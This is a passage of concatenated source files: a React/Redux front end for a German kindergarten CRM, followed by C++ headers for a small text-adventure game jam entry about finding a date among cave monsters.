value: 1,
};
handleChange = (event, value) => {
this.setState({ value });
};
render() {
const { value } = this.state;
return (
<div>
<div style={{ minHeight: 'calc(100vh - 56px)', position: 'relative' }}>
{value === 0 && <Comments />}
{value === 1 && <Locations />}
{value === 2 && <Persons />}
</div>
<BottomNavigation
value={value}
onChange={this.handleChange}
showLabels
style={{ position: 'sticky', bottom: 0 }}
>
<BottomNavigationAction label="Kommentare" icon={<RestoreIcon />} color="secondary" />
<BottomNavigationAction label="Kindergärten" icon={<LocationOnIcon />} />
<BottomNavigationAction label="Personen" icon={<PersonIcon />} />
</BottomNavigation>
</div>
);
}
}
export default AppTabs;
<file_sep>/src/components/common/AddButton.jsx
import React from 'react';
import Button from 'material-ui/Button';
import AddIcon from 'material-ui-icons/Add';
import Layout from './Layout';
const AddButton = ({ color = 'primary', onClick }) => (
<div style={{
position: 'fixed', bottom: 0, left: 0, width: '100vw',
}}
>
<Layout>
<div style={{ position: 'relative' }}>
<Button
variant="fab"
color={color}
style={{
position: 'absolute',
bottom: '75px',
right: 45,
}}
onClick={onClick}
>
<AddIcon />
</Button>
</div>
</Layout>
</div>
);
export default AddButton;
<file_sep>/src/components/Init.jsx
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import { login as loginAction, checkToken as checkTokenAction } from '../store/user/actions';
import AppTopBar from './common/AppTopBar';
import Login from './common/Login';
import Tabs from './Tabs';
import Loading from './common/Loading';
import Layout from './common/Layout';
class Init extends Component {
constructor(props) {
super(props);
const token = localStorage.getItem('user');
if (token) {
this.props.checkToken(token);
}
}
render() {
const { status } = this.props;
if (status === 'checkLogin') {
return (
<Layout>
<div>
<AppTopBar title="Spürnasenecke CRM" />
<Loading />
</div>
</Layout>
);
} else if (status === 'loggedIn') {
return (
<Layout>
<Tabs />
</Layout>
);
}
return (
<Layout>
<Login handleSubmit={this.props.login} status={status} />
</Layout>
);
}
}
Init.propTypes = {
status: PropTypes.string.isRequired,
checkToken: PropTypes.func.isRequired,
login: PropTypes.func.isRequired,
};
const mapStateToProps = state => ({
status: state.user.status,
});
const mapDispatchToProps = dispatch => ({
login: (username, password) => dispatch(loginAction(username, password)),
checkToken: token => dispatch(checkTokenAction(token)),
});
export default connect(mapStateToProps, mapDispatchToProps)(Init);
<file_sep>/src/components/persons/index.jsx
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import PersonsList from './List';
import { fetchPersons as fetchPersonsAction } from '../../store/persons/actions';
import AppTopBar from '../common/AppTopBar';
class Controller extends Component {
componentDidMount() {
this.props.fetchPersons();
}
render() {
return (
<div>
<AppTopBar title="Personen" />
<PersonsList />
</div>
);
}
}
Controller.propTypes = {
fetchPersons: PropTypes.func.isRequired,
};
const mapDispatchToProps = dispatch => ({
fetchPersons: () => dispatch(fetchPersonsAction()),
});
export default connect(null, mapDispatchToProps)(Controller);
<file_sep>/src/components/common/FullScreenDialog.jsx
import React from 'react';
import PropTypes from 'prop-types';
import Dialog from 'material-ui/Dialog';
import AppBar from 'material-ui/AppBar';
import Toolbar from 'material-ui/Toolbar';
import IconButton from 'material-ui/IconButton';
import CloseIcon from 'material-ui-icons/Close';
import Typography from 'material-ui/Typography';
import Layout from './Layout';
const FullScreenDialog = ({
title, handleClose, children, color,
}) => (
<Dialog fullScreen open>
<div style={{ height: '100vh' }}>
<Layout style={{ height: '100vh' }}>
<div style={{ position: 'relative', height: '100vh' }}>
<AppBar position="sticky" color={color}>
<Toolbar>
<Typography variant="title" color="inherit">
{title}
</Typography>
<IconButton
color="inherit"
onClick={handleClose}
aria-label="Schließen"
style={{ marginLeft: 'auto' }}
>
<CloseIcon />
</IconButton>
</Toolbar>
</AppBar>
{children}
</div>
</Layout>
</div>
</Dialog>
);
FullScreenDialog.propTypes = {
title: PropTypes.string.isRequired,
handleClose: PropTypes.func.isRequired,
children: PropTypes.element.isRequired,
color: PropTypes.string,
};
FullScreenDialog.defaultProps = {
color: 'secondary',
};
export default FullScreenDialog;
<file_sep>/src/store/persons/actions.jsx
import { createActionAsync } from 'redux-act-async';
import httpClient from '../httpClient';
const fetchPersons = createActionAsync(
'fetchPersons',
() => httpClient
.get('/persons')
.then(res => res.data),
);
const savePerson = createActionAsync(
'savePerson',
(person, values) => httpClient
.put(`/persons/${person.id}`, values)
.then(res => res.data),
{
ok: {
callback: (dispatch) => {
dispatch(fetchPersons());
},
},
},
);
const addPerson = createActionAsync(
'addPerson',
values => httpClient
.post('/persons', values)
.then(res => res.data),
{
ok: {
callback: (dispatch) => {
dispatch(fetchPersons());
},
},
},
);
export {
fetchPersons,
savePerson,
addPerson,
};
<file_sep>/src/components/persons/PropTypes.jsx
import PropTypes from 'prop-types';
export default {
propTypes: {
person: PropTypes.shape({
firstname: PropTypes.string,
lastname: PropTypes.string,
email: PropTypes.string.isRequired,
}),
},
defaultProps: {
person: {
firstname: '',
lastname: '',
email: '',
},
},
};
<file_sep>/src/store/user/reducer.js
import { createReducer } from 'redux-act';
import { login, checkToken } from './actions';
const defaultState = {
status: 'loggedOut',
name: null,
};
const reducer = createReducer({
[login.request]: state => ({
...state,
status: 'checkLogin',
}),
[login.ok]: (state, payload) => ({
...state,
status: 'loggedIn',
name: payload.name,
}),
[login.error]: state => ({
...state,
status: 'invalid',
}),
[login.reset]: () => (defaultState),
[checkToken.request]: state => ({
...state,
status: 'checkLogin',
}),
[checkToken.ok]: (state, payload) => ({
...state,
status: 'loggedIn',
name: payload.name,
}),
[checkToken.error]: () => (defaultState),
[checkToken.reset]: () => (defaultState),
}, defaultState);
export default reducer;
<file_sep>/src/components/locations/Edit.jsx
import React, { Component } from 'react';
import { connect } from 'react-redux';
import PropTypes from 'prop-types';
import Card, {
CardActions,
CardContent,
} from 'material-ui/Card';
import TextField from 'material-ui/TextField';
import Button from 'material-ui/Button';
import LocationPropTypes from './PropTypes';
import { saveLocation as saveLocationAction } from '../../store/locations/actions';
class EditLocation extends Component {
constructor(props) {
super(props);
this.state = this.props.location;
}
handleChange = name => event =>
this.setState({
[name]: event.target.value === '-' ? null : event.target.value,
});
handleSubmit = () => {
this.props.saveLocation(this.props.location, this.state);
this.props.handleClose();
}
render() {
return (
<Card>
<CardContent>
<TextField
required
label="Bezeichnung"
value={this.state.name}
onChange={this.handleChange('name')}
margin="normal"
style={{ width: 300 }}
/>
<TextField
required
label="Sponsor"
value={this.state.sponsor}
onChange={this.handleChange('sponsor')}
margin="normal"
style={{ width: 300 }}
/>
<TextField
required
multiline
rows="2"
label="Adresse"
value={this.state.address}
onChange={this.handleChange('address')}
margin="normal"
style={{ width: 300 }}
/>
<TextField
required
label="Telefon"
value={this.state.telephone}
onChange={this.handleChange('telephone')}
margin="normal"
style={{ width: 300 }}
/>
<TextField
required
label="E-Mail"
value={this.state.email}
onChange={this.handleChange('email')}
margin="normal"
style={{ width: 300 }}
/>
<TextField
required
multiline
rows="8"
label="Info"
value={this.state.facts}
onChange={this.handleChange('facts')}
margin="normal"
style={{ width: 300 }}
/>
</CardContent>
<CardActions>
<Button onClick={this.props.handleClose} color="primary">
Abbrechen
</Button>
<Button onClick={this.handleSubmit} color="primary">
Speichern
</Button>
</CardActions>
</Card>
);
}
}
EditLocation.propTypes = {
location: LocationPropTypes.propTypes.location.isRequired, // eslint-disable-line react/no-typos
saveLocation: PropTypes.func.isRequired,
handleClose: PropTypes.func.isRequired,
};
const mapDispatchToProps = dispatch => ({
saveLocation: (location, values) => dispatch(saveLocationAction(location, values)),
});
export default connect(null, mapDispatchToProps)(EditLocation);
<file_sep>/src/components/locations/List.jsx
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import Card, { CardHeader, CardActions } from 'material-ui/Card';
import Avatar from 'material-ui/Avatar';
import Button from 'material-ui/Button';
import LocationPropTypes from './PropTypes';
import EditLocation from './Edit';
import Loading from '../common/Loading';
import Comments from '../comments/List';
import FullScreenDialog from '../common/FullScreenDialog';
import AppTopBar from '../common/AppTopBar';
class LocationsList extends Component {
state = {
currentLocation: null,
currentEditLocation: null,
};
handleInfoClick = location => () =>
this.setState({
currentEditLocation: location,
});
handleClick = location => () =>
this.setState({
currentLocation: location,
});
handleClose = () =>
this.setState({
currentLocation: null,
currentEditLocation: null,
});
render() {
const { locations, loading } = this.props;
const { currentLocation, currentEditLocation } = this.state;
if (loading) {
return <Loading />;
}
return (
<div>
{ currentEditLocation &&
<FullScreenDialog title={currentEditLocation.name} handleClose={this.handleClose} color="primary">
<EditLocation location={currentEditLocation} handleClose={this.handleClose} />
</FullScreenDialog>
}
{ currentLocation &&
<FullScreenDialog title={currentLocation.name} handleClose={this.handleClose}>
<Comments location={currentLocation} />
</FullScreenDialog>
}
<div>
<AppTopBar title="Kindergärten" />
{locations.map(location => (
<Card key={location.id}>
<CardHeader
avatar={<Avatar>{location.comments_count}</Avatar>}
title={location.name}
subheader={location.sponsor}
/>
<CardActions>
<Button
size="small"
color="primary"
style={{ marginLeft: 'auto' }}
onClick={this.handleInfoClick(location)}
>
Info
</Button>
<Button
size="small"
color="secondary"
onClick={this.handleClick(location)}
>
Kommentare
</Button>
</CardActions>
</Card>
))}
</div>
</div>
);
}
}
LocationsList.propTypes = {
locations: PropTypes.arrayOf(PropTypes.shape(LocationPropTypes.propTypes)).isRequired,
loading: PropTypes.bool.isRequired,
};
const mapStateToProps = state => ({
locations: state.locations.locations.data,
loading: state.locations.locations.loading,
});
export default connect(mapStateToProps)(LocationsList);
<file_sep>/src/components/persons/Show.jsx
import React from 'react';
import PropTypes from './PropTypes';
import Comments from '../comments/List';
import Dialog from '../common/FullScreenDialog';
const ShowPerson = ({ person, handleClose }) => (
<Dialog title={person.name} handleClose={handleClose}>
<Comments person={person} />
</Dialog>
);
ShowPerson.propTypes = PropTypes.propTypes;
export default ShowPerson;
<file_sep>/src/store/httpClient.jsx
import axios from 'axios';
export default axios.create({
timeout: 30000,
baseURL: process.env.NODE_ENV === 'development' ? 'http://se.local/api/v1' : 'https://www.spuernasenecke.com/api/v1',
headers: {
Accept: 'application/json',
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
'X-JWT': localStorage.getItem('user'),
},
});
<file_sep>/src/components/locations/PropTypes.jsx
import PropTypes from 'prop-types';
export default {
propTypes: {
location: PropTypes.shape({
name: PropTypes.string.isRequired,
email: PropTypes.string.isRequired,
}),
},
};
| 8752a980feadcc01d18b9b5449add1ed3bbbeff1 | [
"JavaScript"
] | 26 | JavaScript | fraxachun/se-crm | 062572b74c365f110ae3437de923fe7496f64e19 | 6c0634823720c4b30a69747e72b242df516dbf7a |
refs/heads/master | <repo_name>GENESDEMON/Anime-fan-girl<file_sep>/src/index.ts
import HTTP from "http";
const cartoonsServer = HTTP.createServer((req, res) => {
//createServer() - creates a server and issue HTTP requests and responses.
res.write("Hello World!")
//res.write specifies the message the server should execute
res.end()
//res.end ends the incoming request
});
//Starts the server on port 3000
cartoonsServer.listen(3000, () => {
console.log('Cartoons Server running....')
})
//ends the connection
cartoonsServer.close() | 20553175fbf234c4b5fe88b40a0b12c89a6907d0 | [
"TypeScript"
] | 1 | TypeScript | GENESDEMON/Anime-fan-girl | 36511e1ab32bcd136cfebdfc80fca14ffc4e0188 | 285855bb7a6976b4a533518434fcffc2a27db1d9 |
refs/heads/master | <file_sep>import org.fusesource.stomp.jms.*;
import javax.jms.*;
class Listener {
public static void main(String []args) throws JMSException {
String destination = "/topic/beer";
StompJmsConnectionFactory factory = new StompJmsConnectionFactory();
factory.setBrokerURI("tcp://localhost:61613");
Connection connection = factory.createConnection("admin", "<PASSWORD>");
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination dest = new StompJmsDestination(destination);
MessageConsumer consumer = session.createConsumer(dest);
System.out.println("Waiting for messages...");
while(true) {
Message msg = consumer.receive();
if( msg instanceof TextMessage ) {
String body = ((TextMessage) msg).getText();
if( "SHUTDOWN".equals(body)) {
System.out.println("publisher decided I shall die");
break;
} else {
System.out.println("received the following message: " + body);
}
} else {
System.out.println("Unexpected message type: "+msg.getClass());
}
}
connection.close();
}
}
| df8db848ee3a555e70b117eb4b46165c9aaccf35 | [
"Java"
] | 1 | Java | schipplock/activemqtest | 1e6a46c92e7209c7fbe8da0af8df7bd131743291 | 9c518dd071b1d75359e7ce32f85367c9c69e6c9e |
refs/heads/master | <file_sep>#pragma once
array<array<string, 10>, 10> place_object(array<array<string, 10>, 10> map, string object) {
// initialize random engine
random_device rd;
mt19937 gen(rd());
// find suitable place on map
int i, j;
while (true) {
if (object == "P") {
uniform_int_distribution<> coord(1, 8);
i = coord(gen);
j = 1;
}
else if (object == "E") {
uniform_int_distribution<> coord(1, 8);
i = coord(gen);
j = 8;
}
else {
uniform_int_distribution<> coord(2, 7);
i = coord(gen);
j = coord(gen);
}
// cout << i << " " << j << "\n";
if (map[i][j] == " ") {
map[i][j] = object;
break;
}
}
return map;
}<file_sep>#pragma once
string get_command() {
cout << "enter command:\n>>> ";
string command;
getline(cin, command);
for (int i = 0; i < command.length(); i++)
command[i] = toupper(command[i]);
return command;
}<file_sep>#pragma once
int lore() {
// important lore
cout
<< "||" << string(93, '=') << "||\n"
<< "|| \"What do you have to lose?\" your friend asks while pushing you toward your current crush. ||\n"
<< "|| You akwardly stagger forward, holding your hand on the back of your lowered head. \"Hey, I ||\n"
<< "|| was, uh, wondering... if you wanted to, like, go watch a movie or something...\" You finally ||\n"
<< "|| raise your head, hoping for a positive response. When your eyes finally meet theirs though, ||\n"
<< "|| all you hear is laughing. \"You?\" they cackle, \"I'd sooner date several smelly toads in a ||\n"
<< "|| trenchcoat!\" They give you one last sneer of disgust, turn around, and walk away, leaving ||\n"
<< "|| you dejected and devestated. \"Better luck next time,\" is all your friend manages to muster. ||\n"
<< "|| ||\n"
<< "|| Walking home that evening, your mind wanders. Will you ever find a soulmate? Will you ||\n"
<< "|| ever even gain enough courage to speak to another crush? Your eyes strain as you feel ||\n"
<< "|| the warmth of embarrassment on your face. You cross your arms and let your body sag. ||\n"
<< "|| ||\n"
<< "|| Suddenly, darkness. Pain. Stars circle your vision. ||\n"
<< "|| ||\n"
<< "|| Once your head stops swimming, you open your eyes and find yourself laying in a poorly-lit ||\n"
<< "|| cave. You sit up, vision wavering. As your eyes settle again you see a stone pedestal in ||\n"
<< "|| the middle of the room of which a sword protrudes. You hesitantly stand up and approach the ||\n"
<< "|| sword. It has a guilded hilt, with ornate runes embossed throughout. An urge comes over you ||\n"
<< "|| and you pull the sword out with ease. You hear it first, but eventually feel the ground ||\n"
<< "|| rumbling. A stone slab ahead of you descends into the floor, revealing a hidden passage. ||\n"
<< "|| \"Oh an adventure?\" you say to the room. \"I guess I won't be needing this,\" you add, tossing ||\n"
<< "|| the sword aside. \"If I can't find a human date, maybe a dungeon monster will do!\" ||\n"
<< "|| ||\n"
<< "|| A DEEPER LOVE ||\n"
<< "|| a game by developtolearn ||\n"
<< "||" << string(93, '=') << "||\n\n";
return 0;
}<file_sep>#pragma once
#include <stdlib.h>
#include "get_command.h"
int you_died() {
cout
<< "Your confidence just wasn't strong enough to secure another date.\n"
<< "Crestfallen once again, you throw your phone to the ground, smashing it!\n"
<< "You inadvertently destroyed any phone numbers you had.\n"
<< "Sulking, you leave the cave system back the way you came.\n"
<< "You reached level " << g_floor << " of the cave!\n\n"
<< "THANKS FOR PLAYING!\n\n";
cout << "Type anything to exit\n";
get_command();
_Exit(0);
return 0;
}<file_sep>#pragma once
int print_verbs(unordered_map<string, unordered_set<string>> phrases)
{
// print every key in phrase book
cout << "List of <VERB>s:\n";
for (auto const& verb : phrases) {
cout << verb.first << "\n";
}
return 0;
}
<file_sep>#pragma once
array<array<string, 10>, 10> encounter(array<array<string, 10>, 10> map, int i, int j) {
// initialize random engine
random_device rd;
mt19937 gen(rd());
// roll random monster stats
uniform_int_distribution<> health(5, 15);
int monster_health = health(gen);
uniform_int_distribution<> attack(1, 5);
int monster_attack = attack(gen);
while (monster_health > 0) {
// monster attack
cout << "The monster hurls an insult your way!\nThat was quite a hit to your confidence.\n";
g_player_health -= monster_attack;
// check is player died
if (g_player_health <= 0) {
you_died();
}
// counter attack
cout << "You give the monster a hug!\nThey seem to be warming up to you.\n";
monster_health -= g_player_attack;
}
// remove monster
cout
<< "The monster gave you their phone number!\n"
<< "The monster left to go prepare for the date. Keep exploring!\n";
g_numbers++;
map[i][j] = " ";
return map;
}<file_sep>#pragma once
int instructions(map<string, string> player) {
// player instructions
string name = player["name"];
int name_length = name.length();
cout
<< "\n||" << string(93, '=') << "||\n"
<< "|| INSTRUCTIONS ||\n"
<< "||" << string(93, '=') << "||\n"
<< "|| Welcome, " << name << "!" << string(82-name_length, ' ') << "||\n"
<< "|| ||\n"
<< "|| I'm going to break the 4th wall for a moment so I can explain how this game actually works! ||\n"
<< "|| I wrote this whole game, including the engine, during Ludum Dare 48, a prolific game jam. ||\n"
<< "|| It's written in C++, using only the standard library, and probably the worst language ||\n"
<< "|| parser that has ever been writen since the days of QBASIC. Anyways that just means your ||\n"
<< "|| options are going to be limited. I'll stop rambing now and explain the game! ||\n"
<< "|| ||\n"
<< "|| Helpful Commands (don't worry, these aren't case sensitive): Map key: ||\n"
<< "|| HELP: Brings up these instructions again P: Player ||\n"
<< "|| EXIT: Exits the game quite abruptly M: Monster ||\n"
<< "|| Gameplay commands are in the form of <VERB> <NOUN> pairs, (e.g., LOOK LEFT) E: Exit ||\n"
<< "|| Here are a few useful, non-obvious, or meta pairs: I: Item ||\n"
<< "|| LIST VERBS: lists all the available verbs and their recognized synonymns #: Wall ||\n"
//<< "|| HOW <VERB>: lists all the nouns for an available verb ||\n"
<< "|| MOVE <DIRECTION>: Currently only works with NORTH, SOUTH, EAST, WEST. ||\n"
<< "||" << string(93, '=') << "||\n\n";
return 0;
}<file_sep>#pragma once
// standard library
#include <iostream>
#include <string>
#include <array>
#include <list>
#include <map>
#include <unordered_map>
#include <unordered_set>
#include <random>
using namespace std;
// hacked up here due to dependencies
#include "you_died.h"
#include "you_left.h"
#include "encounter.h"
// language headers
#include "gen_phrases.h"
#include "print_phrases.h"
#include "print_verbs.h"
// map headers
#include "gen_map.h"
#include "print_map.h"
#include "place_object.h"
// player headers
#include "gen_player.h"
#include "print_player.h"
#include "move_player.h"
// gameplay headers
#include "lore.h"
#include "instructions.h"
#include "help.h"
#include "get_command.h"
#include "parse_command.h"
<file_sep>#pragma once
int print_player()
{
// print every key, value pair in player sheet
//for (auto const& stat : player) {
// cout
// << stat.first << ": " << stat.second << "\n";
//}
// print the player stats
cout
<< "Confidence: " << g_player_health << "\n"
<< "Empathy: " << g_player_attack << "\n";
return 0;
}<file_sep>#pragma once
array<array<string, 10>, 10> move_player(array<array<string, 10>, 10> map, string direction) {
// find player coords
int player_i = -1;
int player_j = -1;
bool found = false;
for (int i = 0; i < 10; i++) {
if (found) { break; }
for (int j = 0; j < 10; j++) {
if (map[i][j] == "P") {
player_i = i;
player_j = j;
found = true;
//cout << player_i << " " << player_j;
break;
}
}
}
// wall collision check
if (direction == "NORTH") {
if (map[player_i-1][player_j] == "#") {
cout << "You smack your head against a wall. Ouch!\n";
return map;
}
else if (map[player_i - 1][player_j] == "E") {
map = gen_map();
}
else if (map[player_i - 1][player_j] == "M") {
map = encounter(map, player_i - 1, player_j);
}
else {
cout << "You moved NORTH.\n";
map[player_i][player_j] = " ";
map[player_i - 1][player_j] = "P";
//print_map(map);
return map;
}
}
else if (direction == "SOUTH") {
if (map[player_i+1][player_j] == "#") {
cout << "You smack your head against a wall. Ouch!\n";
return map;
}
else if (map[player_i + 1][player_j] == "E") {
map = gen_map();
}
else if (map[player_i + 1][player_j] == "M") {
map = encounter(map, player_i + 1, player_j);
}
else {
cout << "You moved SOUTH.\n";
map[player_i][player_j] = " ";
map[player_i + 1][player_j] = "P";
//print_map(map);
return map;
}
}
else if (direction == "EAST") {
if (map[player_i][player_j+1] == "#") {
cout << "You smack your head against a wall. Ouch!\n";
return map;
}
else if (map[player_i][player_j+1] == "E") {
map = gen_map();
}
else if (map[player_i][player_j + 1] == "M") {
map = encounter(map, player_i, player_j + 1);
}
else {
cout << "You moved EAST.\n";
map[player_i][player_j] = " ";
map[player_i][player_j+1] = "P";
//print_map(map);
return map;
}
}
else if (direction == "WEST") {
if (map[player_i][player_j-1] == "#") {
cout << "You smack your head against a wall. Ouch!\n";
return map;
}
else if (map[player_i][player_j-1] == "E") {
map = gen_map();
}
else if (map[player_i][player_j - 1] == "M") {
map = encounter(map, player_i, player_j - 1);
}
else {
cout << "You moved WEST.\n";
map[player_i][player_j] = " ";
map[player_i][player_j-1] = "P";
//print_map(map);
return map;
}
}
return map;
}<file_sep>#pragma once
unordered_map<string, unordered_set<string>> gen_thesaurus()
{
// manually define synnonymns of main words
unordered_map<string, unordered_set<string>> thesaurus;
thesaurus["ACCESS"] = {
"ACCESS", "OPEN", "SHOW", "PRINT", "DISPLAY", "CHECK"
};
thesaurus["MOVE"] = {
"MOVE", "GO", "WALK", "RUN"
};
return thesaurus;
}<file_sep>#pragma once
map<string, string> gen_player() {
//player name
map<string, string> player;
cout << "Please enter your character's name\n>>> ";
string name;
getline(cin, name);
player["name"] = name;
// initialize random engine
random_device rd;
mt19937 gen(rd());
// roll random stats
uniform_int_distribution<> health(25, 50);
g_player_health = health(gen);
uniform_int_distribution<> attack(1, 5);
g_player_attack = attack(gen);
return player;
}
<file_sep>#pragma once
#include "lore.h"
#include "instructions.h"
#include "help.h"
#include "get_command.h"
#include "parse_command.h"
<file_sep>#pragma once
#include "place_object.h"
array<array<string,10>,10> gen_map() {
// important lore
g_floor++;
if (g_floor == 1) {
cout
<< "You find yourself in a new, unfamiliar, cave system...\n"
<< "There is, conviniently, a map lying at your feet, which you pick up.\n"
<< "Perhaps you should check your map to get your bearings.\n";
}
else {
cout
<< "You climb down the ladder and find yourself deeper in the cave system...\n"
<< "There is, conviniently, a map lying at your feet, which you pick up.\n"
<< "You wonder how deep this cave system could possibly go...\n";
}
// generate blank map
array<array<string, 10>, 10> map0{ {
{"#","#","#","#","#","#","#","#","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
} };
// generate map 1
array<array<string, 10>, 10> map1{ {
{"#","#","#","#","#","#","#","#","#","#"},
{"#"," "," ","#","#","#","#"," "," ","#"},
{"#"," "," "," "," "," ","#"," "," ","#"},
{"#","#","#","#","#"," ","#"," ","#","#"},
{"#"," "," ","#","#"," ","#"," "," ","#"},
{"#"," "," "," "," "," ","#"," "," ","#"},
{"#"," "," ","#"," ","#","#","#"," ","#"},
{"#","#","#","#"," ","#","#","#"," ","#"},
{"#","#","#","#"," "," "," "," "," ","#"},
{"#","#","#","#","#","#","#","#","#","#"},
} };
// generate map 2
array<array<string, 10>, 10> map2{ {
{"#","#","#","#","#","#","#","#","#","#"},
{"#","#","#","#"," "," "," "," ","#","#"},
{"#","#","#","#"," ","#","#"," ","#","#"},
{"#"," "," "," "," "," ","#"," ","#","#"},
{"#"," ","#","#","#"," ","#"," "," ","#"},
{"#"," ","#"," "," "," ","#"," "," ","#"},
{"#"," ","#","#","#","#","#","#","#","#"},
{"#"," "," "," "," "," "," "," ","#","#"},
{"#","#","#","#","#","#"," "," ","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
} };
// generate map 3
array<array<string, 10>, 10> map3{ {
{"#","#","#","#","#","#","#","#","#","#"},
{"#"," "," ","#"," "," ","#"," "," ","#"},
{"#"," "," ","#"," "," ","#"," "," ","#"},
{"#"," ","#","#"," ","#","#","#"," ","#"},
{"#"," ","#"," "," "," ","#","#"," ","#"},
{"#"," ","#"," "," "," "," "," "," ","#"},
{"#"," ","#"," "," "," ","#","#"," ","#"},
{"#"," ","#","#"," ","#","#"," "," ","#"},
{"#"," "," "," "," ","#","#"," "," ","#"},
{"#","#","#","#","#","#","#","#","#","#"},
} };
// generate map4
array<array<string, 10>, 10> map4{ {
{"#","#","#","#","#","#","#","#","#","#"},
{"#"," "," ","#","#","#","#","#","#","#"},
{"#"," "," ","#","#","#","#","#","#","#"},
{"#"," ","#","#","#","#","#","#","#","#"},
{"#"," ","#","#","#","#","#","#","#","#"},
{"#"," "," "," "," "," "," ","#","#","#"},
{"#","#","#","#","#","#"," ","#","#","#"},
{"#","#","#","#","#","#"," "," "," ","#"},
{"#","#","#","#","#","#"," "," "," ","#"},
{"#","#","#","#","#","#","#","#","#","#"},
} };
// generate map5
array<array<string, 10>, 10> map5{ {
{"#","#","#","#","#","#","#","#","#","#"},
{"#"," "," ","#","#","#","#","#","#","#"},
{"#"," "," "," "," ","#","#","#","#","#"},
{"#"," "," ","#"," ","#","#"," "," ","#"},
{"#","#","#","#"," ","#","#"," "," ","#"},
{"#","#","#","#"," "," "," "," "," ","#"},
{"#"," "," ","#"," ","#","#"," "," ","#"},
{"#"," "," "," "," ","#","#"," "," ","#"},
{"#"," "," ","#","#","#","#","#","#","#"},
{"#","#","#","#","#","#","#","#","#","#"},
} };
// initialize random engine
random_device rd;
mt19937 gen(rd());
// random map
uniform_int_distribution<> position(1, 5);
int map_choice = position(gen);
array<array<string, 10>, 10> pre_map;
switch (map_choice) {
case 1:
pre_map = map1;
break;
case 2:
pre_map = map2;
break;
case 3:
pre_map = map3;
break;
case 4:
pre_map = map4;
break;
case 5:
pre_map = map5;
break;
default:
cout << "!! Maps Broken !!";
break;
}
// transform map
uniform_int_distribution<> transform(0, 3);
int map_transform = transform(gen);
array<array<string, 10>, 10> map;
switch (map_transform) {
case 0:
map = pre_map;
break;
case 1:
// mirror 45 degrees
for (int i = 0; i < 10; i++) {
for (int j = 0; j < 10; j++) {
map[i][j] = pre_map[j][i];
};
};
break;
case 2:
// mirror columns
for (int i = 0; i < 10; i++) {
for (int j = 0; j < 10; j++) {
map[i][j] = pre_map[9 - i][j];
};
};
break;
case 3:
// mirror rows
for (int i = 0; i < 10; i++) {
for (int j = 0; j < 10; j++) {
map[i][j] = pre_map[i][9 - j];
};
};
break;
default:
cout << "!! Transforms Broken !!";
break;
}
//place objects
map = place_object(map, "P"); // place player
map = place_object(map, "M"); // place monster
map = place_object(map, "E"); // place exit
//map = place_object(map, "I"); // place item
return map;
}<file_sep>#pragma once
int you_left() {
if (g_numbers > 0) {
cout
<< "Your decided that's probably enough phone numbers and potential dates.\n"
<< "Beaming with joy, you leave the cave system back the way you came.\n"
<< "You managed to secure " << g_numbers << " phone numbers!\n";
}
else {
cout
<< "You can't gather enough courage to even look at a monster, let alone try to date one.\n"
<< "Trembling, you crawl your way back to the entrance of the cave, accomplishing nothing.\n";
}
cout
<< "You reached level " << g_floor << " of the cave!\n\n"
<< "THANKS FOR PLAYING!\n\n";
return 0;
}<file_sep>#pragma once
int print_phrases(unordered_map<string, unordered_set<string>> phrases)
{
// print every key, value pair in phrase book
for (auto const& verb : phrases) {
for (auto const& noun : phrases[verb.first]) {
cout << verb.first << " " << noun << "\n";
}
}
return 0;
}
<file_sep>// ludum-dare-48-simple.cpp : This file contains the 'main' function. Program execution begins and ends there.
int g_floor{};
int g_numbers{};
int g_player_health{};
int g_player_attack{};
#include "a_deeper_love.h"
int main()
{
// startup
lore();
map<string, string> player = gen_player();
instructions(player);
g_floor = 0;
array<array<string, 10>, 10> map = gen_map();
unordered_map<string, unordered_set<string>> phrases = gen_phrases();
// main loop
string command;
do {
command = get_command();
map = parse_command(command, phrases, map);
} while (command != "EXIT");
you_left();
cout << "Type anything to exit\n";
command = get_command();
return 0;
}
<file_sep>#pragma once
#include "gen_thesaurus.h"
unordered_map<string, unordered_set<string>> gen_phrases()
{
// get thesaurus
unordered_map<string, unordered_set<string>> thesaurus;
thesaurus = gen_thesaurus();
// generate phrase book using all available synonymns of verbs
unordered_map<string, unordered_set<string>> phrases;
for (auto const& word : thesaurus["ACCESS"]) {
phrases[word] = {
"MAP", "PLAYER"
};
}
for (auto const& word : thesaurus["MOVE"]) {
phrases[word] = {
"NORTH", "SOUTH", "EAST", "WEST"
};
}
//for (auto const& word : thesaurus["observe"]) {
// phrases[word] = {
// "left", "right", "forward", "back", "up", "down"
// };
//}
return phrases;
}
<file_sep>#pragma once
int print_map(array<array<string, 10>, 10> map)
{
// print every key, value pair in phrase book
cout << "FLOOR " << g_floor << "\n";
for (int i = 0; i < 10; i++) {
for (int j = 0; j < 10; j++) {
cout << map[i][j] << " ";
};
cout << "\n";
};
return 0;
}
<file_sep>#pragma once
array<array<string, 10>, 10> parse_command(string command, unordered_map<string, unordered_set<string>> phrases, array<array<string, 10>, 10> map) {
// trim leading and trailing spaces
string delim = " ";
command = command.erase(0, command.find_first_not_of(delim));
command = command.substr(0, command.find_last_not_of(delim)+1);
// check for special strings
if (command == "" || command == "EXIT") {
return map;
}
else if (command == "HELP") {
help();
return map;
}
else if (command == "LIST VERBS") {
print_verbs(phrases);
return map;
}
else if (command == "LIST ALL") {
print_phrases(phrases);
return map;
}
// parse verb and noun
string user_verb, user_noun;
user_verb = command.substr(0, command.find(delim));
string leftover = command.substr(user_verb.length(), command.length());
user_noun = leftover.erase(0, leftover.find_first_not_of(delim));
// check for valid verb
if (phrases.find(user_verb) == phrases.end()) {
cout << "don't know how to \"" << user_verb << "\"\n";
return map;
}
// check for valid noun
if (phrases[user_verb].find(user_noun) == phrases[user_verb].end()) {
